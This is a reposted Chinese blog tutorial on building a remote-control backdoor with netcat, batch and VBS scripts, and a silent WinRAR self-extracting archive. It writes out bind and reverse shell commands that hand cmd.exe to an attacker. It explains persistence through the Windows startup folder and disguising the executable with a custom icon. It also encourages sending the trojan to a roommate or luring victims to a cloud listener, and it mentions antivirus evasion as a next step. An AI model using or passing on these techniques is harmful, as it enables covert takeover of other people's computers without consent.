当前位置:   article > 正文

用nc+简单bat/vbs脚本+winrar制作迷你远控后门

vbs脚本接收udp报文

前言

  某大佬某天和我聊起了nc,并且提到了nc正反向shell这个概念。

  我对nc之前的了解程度仅局限于:可以侦听TCP/UDP端口,发起对应的连接。

  真正的远控还没实践过,所以决定写个小后门试一试。

1.NC、正向Shell、反向Shell介绍

1.1 什么是nc:

  nc是netcat的简写,就是一个简单、可靠的网络工具。当然因为某些奇怪原因,已经被各大杀毒轮番轰炸。原因就和下文所述有关。

1.2 nc的作用:

  (1)实现任意TCP/UDP端口的侦听,nc可以作为服务器端以TCP或UDP方式侦听指定端口
  (2)端口的扫描,nc可以作为客户端发起TCP或UDP连接
  (3)不同机器之间传输文件,通信,测速等功能

1.3 nc的部分参数:

  和其他工具一样,nc也有许多参数,这俩选取两个最关键的参数说明一下。

  (1)-l:用法: nc -l(或-lvp,代表输出交互信息)4444。

    该参数用于指定nc处于侦听模式。此时nc被当作服务器端,侦听并接受连接。简单地说,别人可以通过你的ip+你接收连接的端口号(4444)来连上你。

       (2)-e:罪魁祸首 用法:nc 192.168.0.7 4444 -e cmd.exe   

             nc -lvp 4444 -e cmd.exe

    该参数的用处很简单,重定向执行-e后指定程序。

    比如nc 192.168.0.7 4444 -e cmd.exe这条命令。意思就是向目标ip+端口请求连接,若连接成功后,你的cmd.exe就会在服务器端被重定向执行。

          (服务器端--执行--客户端的cmd.exe)

    而对于nc -lvp 4444 -e cmd.exe该命令。意思是侦听并接收其他人对你4444端口的连接。若别人连接成功,别人就可以执行服务器端的cmd.exe。

        (客户端--连接--侦听中的服务器端--执行--服务器端的cmd.exe)

    在linux下,可以等价变为-e /bin/sh或-e /bin/bash。但无论如何,-e可以完全实现远控的功能

    在高版本的nc中,已经默认禁用了-e这个选项。不过仍然可以通过手动修改源码重新编译来开启。这里以1.12版本的nc来实现我们的远控后门。

1.4 正向Shell(Bind Shell)

  原理很简单,一张图就可以说明:

  

  在被攻击的目标端上执行:nc -lvp 4444 -e cmd.exe 

  如同上文所述:侦听并接收其他人对你4444端口的连接。若别人连接成功,别人就可以执行服务器端(目标端)的cmd.exe。

  换句话说,目标端的4444已经和cmd.exe“ 绑”在了一起。只要4444端口被连接,cmd.exe就拱手相让。

  攻击端的指令就很简单了:nc 目标端ip 4444

  请求连接目标端的4444端口,一旦连接上,目标端的cmd.exe就可以随便执行了。

1.5 反向Shell(Rerverse Shell)

  

  在被攻击的目标端上执行:nc 攻击端ip 4444 -e cmd.exe

  意思是向攻击端的ip+端口请求连接,若连接成功后,,目标端的cmd.exe就会在服务器端(攻击端)被重定向执行。

  换而言之,目标端把自己的cmd.exe“送”给了攻击端。攻击端只需要开启侦听,接收连接,只要连接建立就可以执行目标端的cmd.exe.

     那么,攻击端只需要开启4444端口的侦听,等待有谁连进来上钩就行了:nc -lvp 4444

   无论是正向shell与反向shell,只要攻击端和目标端能互相ping通即可。那么对于反向shell来说,如果攻击端的ip是某台公网上的服务器地址,后果就请自行脑补了。

 2.基于正反向Shell实现的后门的制作流程

  既然是后门,就需要满足以下几个条件:

  1.静默操作,不弹框,没异常

  2.位置隐蔽,不易查找

  3.维持控制

  根据这些,有以下几条思路:

  1.把目标端需要执行的命令写在一个.bat文件(以下称为文件1)中,命令都以cmd /c的形式执行(不弹窗)

  2.把文件用winrara打包成一个自解压缩文件,静默执行(不弹框,自动解压到指定目录),并在解压后执行另一个.bat文件(文件2)

    其中文件2的作用是把一个vbs脚本(文件3)解压到开机自启目录下(后面会说),并且执行最关键的文件1.

  3.文件3的功能就很简单粗暴了:执行文件1。因为文件3在开机自启目录下,也就是每次开机都会执行。可以起到维持远控的作用。

  光凭文字不太能说明清楚,下面我们看一下这几个文件的真面目。  

2.1 基于正向Shell的远控后门

  目录结构如下:

  

  其中nc.exe,人如其名,是必要的工具,不多说了。

  先来看“文件1”:Windows.bat

  

  切到解压目录下,并且执行目标端的nc命令。

  

  之后是“文件2”:System.bat

   

  把文件3复制到开机启动项中,并且执行文件3.

 

  “文件3”:important.vbs

  

  运行文件1,并且不显示窗口。

   

  从上面不难看出,解压目录后,只要运行System.bat就可以实现预期功能。

  那么怎么解压到指定目录并执行呢?来看一下winrar的自解压缩功能。

  

 

   

 

   

  也可以自定义自解压缩程序的图标

  

 

   那么制作出来的.exe大体上是这样的 

  

  

  现在发给你的室友,让他双击执行,你在用nc监听下他的ip的4444端口,然后就舒服了。

 

2.2 基于反向Shell的远控后门

  正向Shell虽然简单粗暴,但是真要应用,也就在局域网内好用。(比如宿舍网络)

  如果想实现真正意义的远控,那么反向shell更好用一点。

  对于反向shell来说,如果攻击端的ip是某台公网上的服务器地址,那么只要目标端有网络环境,就可以被远控。

  所以如果你拥有一台云服务器,就可以安排了。

  这个后门程序与正向shell的大同小异:

  

  reverseshell.bat:

  

 

  system32.bat:

  

  soimpartant.vbs:

  

  之后也做成自解压文件,就可以了。

  

  使用方法很简单:在你的服务器上监听4777端口,等着别人上钩就行了。

 

3.实际演示

  用虚拟机演示一下surprise.exe把。kali是攻击端,本机win7是目标端。

  如图所示,目标端执行该程序后。只要知道其ip,即可:

  

 

4.未完待续

  虽然这两个程序已经基本上实现了远控的功能,但是却还有很多不完善。

  1.两个程序仍然可以被winrar识别,打开并解压。

  这个貌似可以通过改文件头来混淆过去。

  2.无脑被杀毒软件安排

  ……nc是众矢之的,等有空研究下免杀吧。

  顺便说下怎么杀掉这个后门吧:把目录删掉,启动项删掉。kill掉所有nc和cmd进程。

  

  要期末了。国赛打(送)完估计要停一段时间了,这个后门以后有空再继续完善吧。

转载于:https://www.cnblogs.com/keelongz/p/10969452.html

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/知新_RL/article/detail/541413
推荐阅读
相关标签
  

闽ICP备14008679号